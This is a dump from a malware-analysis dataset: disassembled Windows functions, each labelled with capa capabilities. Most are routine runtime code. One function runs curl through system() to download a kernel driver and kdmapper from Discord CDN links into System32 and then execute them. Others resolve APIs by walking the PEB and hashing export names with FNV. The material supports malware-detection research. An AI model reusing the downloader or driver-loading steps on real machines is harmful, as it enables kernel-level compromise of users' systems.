joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41ef14
Capabilities:
Manipulate console buffer

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0xa0
mov rax, qword [0x0043e100]
xor rax, rsp
mov qword [rsp + 0x90], rax
movsxd rbp, ecx
mov rcx, qword [0x00440c48]
mov rsi, rdx
lea eax, [rbp + 1]
mov word [rsp + 0x30], 0x34
mov r12, r8
mov word [rsp + 0x32], ax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov edx, 0x27
mov rcx, rsi
call fcn.0043187c
test rax, rax
mov rbx, rax
je 0x41f020
xor eax, eax
mov rdi, r12
lea rcx, [rax - 1]
lea edx, [rax + 0x20]
lea r8d, [rax + 0x50]
repne scasb al, byte [rdi]
not rcx
lea rdi, [rcx - 1]
lea rcx, [rsp + 0x40]
call fcn.00436350
sub ebx, esi
lea rcx, [rsp + 0x40]
movsxd r8, ebx
mov rdx, rsi
call fcn.0042ddd0
lea rdx, [rsp + 0x40]
lea r8, [0x004454a0]
mov rax, qword [rdx]
mov rcx, rbp
mov ebx, 0x1c
imul rcx, rcx, 0xb0
mov qword [rcx + r8], rax
mov rax, qword [rdx + 8]
mov qword [rcx + r8 + 8], rax
mov rax, qword [rdx + 0x10]
mov qword [rcx + r8 + 0x10], rax
mov eax, dword [rdx + 0x18]
mov rdx, r12
mov dword [rcx + r8 + 0x18], eax
mov eax, ebx
movsxd r8, edi
sub eax, edi
cdqe
lea rcx, [rsp + rax + 0x40]
call fcn.0042ddd0
mov rcx, qword [0x00440c48]
lea r9, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov r8d, ebx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.0042d850
add rsp, 0xa0
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x41f044
Capabilities:
Manipulate console buffer

Disassembly:
push rbx
sub rsp, 0xb0
mov rax, qword [0x0043e100]
xor rax, rsp
mov qword [rsp + 0xa0], rax
test rcx, rcx
mov rbx, rcx
jne 0x41f077
lea rcx, [rsp + 0x38]
lea rbx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [rbx + 0xc]
movzx r9d, word [rbx + 0xa]
movzx r8d, word [rbx + 8]
lea rdx, [0x0040bc58]
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x20], eax
call fcn.0042dc7c
mov rcx, qword [0x00440c48]
mov word [rsp + 0x30], 0x48
mov word [rsp + 0x32], 0
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov rcx, qword [0x00440c48]
lea r9, [rsp + 0x30]
lea rdx, [rsp + 0x50]
mov r8d, 8
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.0042d850
add rsp, 0xb0
pop rbx
ret
Function at 0x41f670
Capabilities:
Manipulate console buffer

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0xa0
mov rax, qword [0x0043e100]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov rbx, rcx
lea rbp, [0x00400000]
mov edx, dword [rbx]
lea rcx, [rbp + 0xbc68]
cmp edx, dword [rcx]
jne 0x41f6b3
mov dl, byte [rbx + 4]
add rcx, 4
cmp dl, byte [rcx]
jne 0x41f6b3
xor eax, eax
jmp 0x41f6b8
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x41f7c9
add rbx, 5
xor edi, edi
jmp 0x41f6d7
mov cl, al
lea eax, [rdi + rdi*4]
and ecx, 0x3f
inc rbx
lea edi, [rcx + rax*2 - 0x30]
mov al, byte [rbx]
cmp al, 0x20
jne 0x41f6c8
mov r9d, 1
lea rdx, [0x0040be48]
mov rcx, rbx
lea r8d, [r9 + 0x15]
mov dword [rsp + 0x20], 1
call fcn.004394b0
test eax, eax
jne 0x41f7c9
lea edx, [rax + 0x20]
lea r8d, [rax + 0x50]
lea rcx, [rsp + 0x40]
add rbx, 0x16
call fcn.00436350
mov edx, 0x20
mov rcx, rbx
call fcn.0042e2d0
test rax, rax
je 0x41f740
sub rax, rbx
lea rcx, [rsp + 0x40]
mov rdx, rbx
mov r8, rax
call fcn.0042ddd0
mov rcx, qword [0x00440c48]
lea eax, [rdi + 1]
mov word [rsp + 0x30], 0x21
mov word [rsp + 0x32], ax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov rcx, qword [0x00440c48]
lea r9, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov r8d, 6
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
lea rcx, [rsp + 0x40]
mov byte [rsp + 0x45], 0
mov eax, dword [rcx]
movsxd r8, edi
mov edx, 0x20
imul r8, r8, 0xb0
mov dword [r8 + rbp + 0x45520], eax
movzx eax, word [rcx + 4]
mov rcx, rbx
mov word [r8 + rbp + 0x45524], ax
call fcn.0042e2d0
mov ecx, edi
lea rdx, [rax + 4]
call fcn.0041ecdc
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.0042d850
add rsp, 0xa0
pop rdi
pop rbp
pop rbx
ret
Function at 0x42d91c
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x0043e100]
jne 0x42d86a
rol rcx, 0x10
test cx, 0xffff
jne 0x42d866
repz ret
ror rcx, 0x10
jmp 0x42d91c
push rbx
push rsi
push rdi
sub rsp, 0x40
mov rbx, rcx
lea rsi, [0x00444660]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rdi, qword [0x00444758]
lea rdx, [rsp + 0x60]
mov rcx, rdi
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x42d992
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x38], 0
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x70]
mov r9, rax
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov r8, rdi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
mov r11, qword [0x00444758]
jmp 0x42d9ae
mov r11, qword [rsp + 0x58]
lea rax, [rsp + 0x58]
add rax, 8
mov qword [0x00444758], r11
mov qword [0x004446f8], rax
mov rax, qword [0x0043e100]
mov qword [0x004445d0], r11
mov qword [0x004446e0], rbx
mov dword [0x004445c0], 0xc0000409
mov dword [0x004445c4], 1
mov qword [rsp + 0x78], rax
mov rax, qword [0x0043e108]
xor ecx, ecx
mov qword [rsp + 0x78], rax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x004013c0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret

Function at 0x42d9ae
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x0043e100]
jne 0x42d86a
rol rcx, 0x10
test cx, 0xffff
jne 0x42d866
repz ret
ror rcx, 0x10
jmp 0x42d91c
push rbx
push rsi
push rdi
sub rsp, 0x40
mov rbx, rcx
lea rsi, [0x00444660]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rdi, qword [0x00444758]
lea rdx, [rsp + 0x60]
mov rcx, rdi
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x42d992
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x38], 0
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x70]
mov r9, rax
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov r8, rdi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
mov r11, qword [0x00444758]
jmp 0x42d9ae
mov r11, qword [rsp + 0x58]
lea rax, [rsp + 0x58]
add rax, 8
mov qword [0x00444758], r11
mov qword [0x004446f8], rax
mov rax, qword [0x0043e100]
mov qword [0x004445d0], r11
mov qword [0x004446e0], rbx
mov dword [0x004445c0], 0xc0000409
mov dword [0x004445c4], 1
mov qword [rsp + 0x78], rax
mov rax, qword [0x0043e108]
xor ecx, ecx
mov qword [rsp + 0x78], rax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x004013c0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
Function at 0x42e86c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
movzx edx, byte [rax]
cmp dl, byte [rax + rcx]
je 0x42fa19
jmp 0x42dea4
sbb eax, eax
or eax, 1
jmp 0x42f062
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x198
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x1a0]
add rcx, rax
jmp 0x4319ce
test eax, eax
jne 0x4332bc
jmp 0x4331da
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x20], 0
jmp 0x431233
inc rax
test dl, dl
je 0x4334ff
jmp 0x42ddf7
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x18]
cmp dword [rsp + 0x24], eax
jb 0x430a88
jmp 0x4316be
movzx eax, word [rsp + 0x28]
mov rcx, qword [rsp + 0x70]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x1a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x1a8]
sub rcx, rax
jmp 0x42ddf7
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 4]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
cmp qword [rsp + 0x38], rax
jbe 0x42f382
jmp 0x430ef5
mov eax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x60]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x1a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov eax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x68]
movzx eax, word [rcx + rax*2]
mov word [rsp + 0x28], ax
jmp 0x42ffda
mov rax, qword [rsp + 0x38]
add rsp, 0x198
ret
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x1a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x24], 0
jmp 0x433279
movsxd rax, dword [rsp + 0x20]
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
jae 0x430090
jmp 0x430ef5
mov rax, rcx
mov qword [rsp + 0x58], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x58]
lea rax, [rcx + rax + 0x88]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a0]
jmp 0x432c57
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x18]
cmp dword [rsp + 0x24], eax
jae 0x4316be
jmp 0x430a88
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x1a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x1a0]
jmp 0x430fd6
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x38], rax
jmp 0x4316be
jmp 0x42faab
jmp 0x4325e7
xor eax, eax
jmp 0x42f062
Function at 0x433f7e
Capabilities:
Access peb ldr_data
Get process filename

Disassembly:
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x48], 0
jmp 0x43402d
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword gs:[0x60]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov rax, qword [rax + 0x20]
sub rax, 0x10
jmp 0x4316a1

Function at 0x4352d0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd r8, dword [rcx + 0x3c]
xor r9d, r9d
mov r10, rdx
add r8, rcx
movzx eax, word [r8 + 0x14]
movzx r11d, word [r8 + 6]
test r11d, r11d
lea rcx, [rax + r8 + 0x18]
je 0x43530f
mov edx, dword [rcx + 0xc]
cmp r10, rdx
jb 0x435303
mov eax, dword [rcx + 8]
add eax, edx
cmp r10, rax
jb 0x435312
inc r9d
add rcx, 0x28
cmp r9d, r11d
jb 0x4352f1
xor eax, eax
ret
mov rax, rcx
ret
Function at 0x437ea0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
sub rsp, 0x30
test rcx, rcx
mov ebx, edx
jne 0x437ee0
call fcn.0042ec38
mov dword [rax], 0
call fcn.0042ec10
mov ebx, 0x16
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], ebx
mov qword [rsp + 0x20], 0
call fcn.004337e8
mov eax, ebx
jmp 0x437f30
test edx, 0xfffffff9
jne 0x437ead
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x437f09
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.0042ec60
call fcn.0042ec10
mov eax, dword [rax]
jmp 0x437f30
test al, 0x10
jne 0x437f2e
test al, 1
je 0x437f2e
test bl, 2
je 0x437f2e
call fcn.0042ec38
mov dword [rax], 5
call fcn.0042ec10
mov dword [rax], 0xd
jmp 0x437f00
xor eax, eax
add rsp, 0x30
pop rbx
ret
Function at 0x43b73c
Capabilities:
Get system information on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
sub rsp, 0x98
lea rbp, [rsp + 0x20]
mov rax, qword [0x0043e100]
xor rax, rbp
mov qword [rbp + 0x68], rax
mov eax, dword [rsp]
sub rsp, 0x10
lea rdx, [rbp + 8]
lea rsi, [rsp + 0x20]
mov r8d, 0x30
mov eax, dword [rsi]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x43b825
mov r13, qword [rbp + 0x10]
lea rcx, [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edi, dword [rbp + 0x3c]
lea rcx, [rbp]
xor ebx, ebx
mov dword [rbp], ebx
call qword [sym.imp.KERNEL32.dll_SetThreadStackGuarantee]
cmp eax, 1
jne 0x43b7b6
mov eax, dword [rbp]
test eax, eax
cmovne ebx, eax
lea edx, [rdi - 1]
lea ecx, [rbx + rdi - 1]
mov eax, edx
not eax
and ecx, eax
je 0x43b7c7
add ecx, edi
lea eax, [rdi + rdi*2]
mov ebx, edx
cmp ecx, eax
not rbx
cmovb ecx, eax
and rbx, rsi
lea rax, [r13 + rdi]
mov r12d, ecx
sub rbx, r12
cmp rbx, rax
jb 0x43b825
mov r9d, 4
mov r8d, 0x1000
mov rdx, r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x43b825
lea r9, [rbp + 4]
mov r8d, 0x104
mov rdx, r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x43b825
mov eax, 1
jmp 0x43b827
xor eax, eax
mov rcx, qword [rbp + 0x68]
xor rcx, rbp
call fcn.0042d850
lea rsp, [rbp + 0x78]
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x43bb18
Capabilities:
Clear file content

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r15
sub rsp, 0x20
mov rbp, rdx
xor edi, edi
xor edx, edx
lea r8d, [rdi + 1]
mov esi, ecx
call fcn.00438340
cmp rax, 0xffffffffffffffff
mov r13, rax
je 0x43bb92
lea r8d, [rdi + 2]
xor edx, edx
mov ecx, esi
call fcn.00438340
cmp rax, 0xffffffffffffffff
je 0x43bb92
mov rbx, rbp
sub rbx, rax
cmp rbx, rdi
jle 0x43bc18
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r15d, 0x1000
lea edx, [rdi + 8]
mov rcx, rax
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp rax, rdi
mov rbp, rax
jne 0x43bba8
call fcn.0042ec10
mov dword [rax], 0xc
call fcn.0042ec10
mov eax, dword [rax]
add rsp, 0x20
pop r15
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov edx, 0x8000
mov ecx, esi
call fcn.00430570
mov r12d, eax
mov r8d, ebx
cmp rbx, r15
mov rdx, rbp
cmovge r8d, r15d
mov ecx, esi
call fcn.00433c60
cmp eax, 0xffffffff
je 0x43bbdc
cdqe
sub rbx, rax
cmp rbx, rdi
jle 0x43bbf8
jmp 0x43bbb7
call fcn.0042ec38
cmp dword [rax], 5
jne 0x43bbf1
call fcn.0042ec10
mov dword [rax], 0xd
mov rdi, 0xffffffffffffffff
mov edx, r12d
mov ecx, esi
call fcn.00430570
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x43bc6d
jge 0x43bc77
xor r8d, r8d
mov rdx, rbp
mov ecx, esi
call fcn.00438340
cmp rax, 0xffffffffffffffff
je 0x43bb92
mov ecx, esi
call fcn.00436a00
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
neg eax
sbb rdi, rdi
neg rdi
dec rdi
cmp rdi, 0xffffffffffffffff
jne 0x43bc77
call fcn.0042ec10
mov dword [rax], 0xd
call fcn.0042ec38
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbx], eax
cmp rdi, 0xffffffffffffffff
je 0x43bb92
xor r8d, r8d
mov rdx, r13
mov ecx, esi
call fcn.00438340
cmp rax, 0xffffffffffffffff
je 0x43bb92
xor eax, eax
jmp 0x43bb99
Function at 0x140001000
Capabilities:
Execute command

Disassembly:
sub rsp, 0x28
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Negro_n
call fcn.140001060
lea rcx, str.curl___silent_https:__cdn.discordapp.com_attachments_1158420438590955630_1173058647186751509_null.sys___output_C:WindowsSystem32CalvitoPenes.sys_2_null_2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__cdn.discordapp.com_attachments_1158420438590955630_1173059328954073149_kdmapper_Debug.exe___output_C:WindowsSystem32elmapperestedeloshuevos.exe_2_null_2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32elmapperestedeloshuevos.exe__C:WindowsSystem32CalvitoPenes.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.yasta_tio_hasta_la_polla_n
call fcn.140001060
xor eax, eax
add rsp, 0x28
ret

Function at 0x140001b8c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001bd6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001bd6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001bd6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001bd6
cmp dword [rcx + 0x84], 0xe
jbe 0x140001bd6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001bd8
xor al, al
add rsp, 0x28
ret
Function at 0x1400028e0
Capabilities:
Hash data using fnv

Disassembly:
movsx eax, byte [rcx]
test al, al
jne 0x1400028ea
mov eax, edx
ret
xor eax, edx
imul edx, eax, 0x1000193
inc rcx
jmp fcn.1400028e0

Function at 0x140002900
Capabilities:
Hash data using fnv
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
push rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x28
mov rax, qword [0x140005718]
mov r15d, ecx
mov qword [rsp + 0x60], r12
mov ebx, 0x5a4d
mov qword [rsp + 0x20], r13
mov r8, qword [rax + 0x60]
mov rax, qword [r8 + 0x18]
add rax, 0x20
mov qword [rsp + 0x70], rax
mov r14, qword [rax]
mov rsi, qword [r14 + 0x20]
test rdx, rdx
je 0x140002963
mov rcx, qword [r14 + 0x50]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
mov rax, qword [rsp + 0x70]
jne 0x140002a10
cmp word [rsi], bx
jne 0x140002a10
movsxd rax, dword [rsi + 0x3c]
add rax, rsi
cmp dword [rax], 0x4550
jne 0x140002a0b
cmp word [rax + 0x14], 0x60
jb 0x140002a0b
cmp dword [rax + 0x84], 0
je 0x140002a0b
mov ecx, dword [rax + 0x88]
test ecx, ecx
je 0x140002a0b
mov r12d, dword [rsi + rcx + 0x24]
lea rax, [rsi + rcx]
mov edi, dword [rax + 0x20]
add r12, rsi
mov r13d, dword [rax + 0x1c]
add rdi, rsi
mov ebp, dword [rax + 0x18]
add r13, rsi
xor ebx, ebx
test ebp, ebp
je 0x140002a06
nop
mov ecx, dword [rdi]
add rcx, rsi
movsx eax, byte [rcx]
test al, al
jne 0x1400029d3
mov eax, 0x811c9dc5
jmp 0x1400029e6
xor eax, 0x811c9dc5
imul edx, eax, 0x1000193
inc rcx
call fcn.1400028e0
cmp eax, r15d
je 0x1400029f7
inc ebx
add rdi, 4
cmp ebx, ebp
jb 0x1400029c0
jmp 0x140002a06
movzx ecx, word [r12 + rbx*2]
mov eax, dword [r13 + rcx*4]
add rax, rsi
jne 0x140002a24
mov ebx, 0x5a4d
mov rax, qword [rsp + 0x70]
mov r14, qword [r14]
cmp r14, rax
je 0x140002a22
mov rdx, qword [rsp + 0x68]
jmp 0x140002943
xor eax, eax
mov r13, qword [rsp + 0x20]
mov r12, qword [rsp + 0x60]
add rsp, 0x28
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001890
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r14, rdx
mov rdi, rcx
je case.default.0x1400018c0
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rsi
mov rsi, rbx
mov r9, qword [rax]
test r9, r9
je 0x1400018e8
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x1400018ea
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140001943
test ecx, ecx
jle 0x14000191e
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r14, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140001943
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140001943
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov rbp, qword [rsp + 0x30]
sub rsi, rbx
mov rbx, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
invalid
Function at 0x140001970
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r14, rdx
mov rdi, rcx
je case.default.0x1400019a0
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rsi
mov rsi, rbx
mov rdx, qword [rax]
test rdx, rdx
je 0x1400019c8
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400019ca
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140001a30
test ecx, ecx
jle 0x1400019fe
cmp rbx, rbp
mov rcx, r14
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x50]
add r14, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x38]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140001a30
cmp qword [rdi + 0x80], 0
je 0x140001a30
mov rcx, rdi
call fcn.140002540
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
mov rbp, qword [rsp + 0x30]
sub rsi, rbx
mov rbx, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
push rbx
push rcx
jns 0x14000c36e
push rcx
jbe 0x14000c3a5
push rsi
jae 0x14000c38f
pop rdx
xor byte gs:[rbp + 0x7a], dh
invalid
imul esi, dword [0x1727332cb], 0x6a
cmp byte [rsp + rbp*2 + 0x4f], al
jae 0x14000c3cd
xor al, 0x46
push 0x52425562
xor eax, 0x56712f56
invalid
jno 0x14000c3df
xor dword [rdx + 0x61], ebp
jno 0x14000c3e9
push rbp
jns 0x14000c403
jne 0x14000c447
insb byte [rdi], dx
xor bh, byte [rax + 0x6c]
push 0x45
outsd dx, dword [rsi]
push rsi
Function at 0x140001eb0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140008010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140001edd
xor eax, eax
jmp 0x140002032
mov rdx, qword [rcx + 0x40]
mov rax, qword [rdx]
test rax, rax
je 0x140001f08
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
add r8, rax
cmp rax, r8
jae 0x140001f08
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], dil
mov eax, edi
jmp 0x140002032
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140002025
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x140001f4b
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140001f76
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14000202a
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
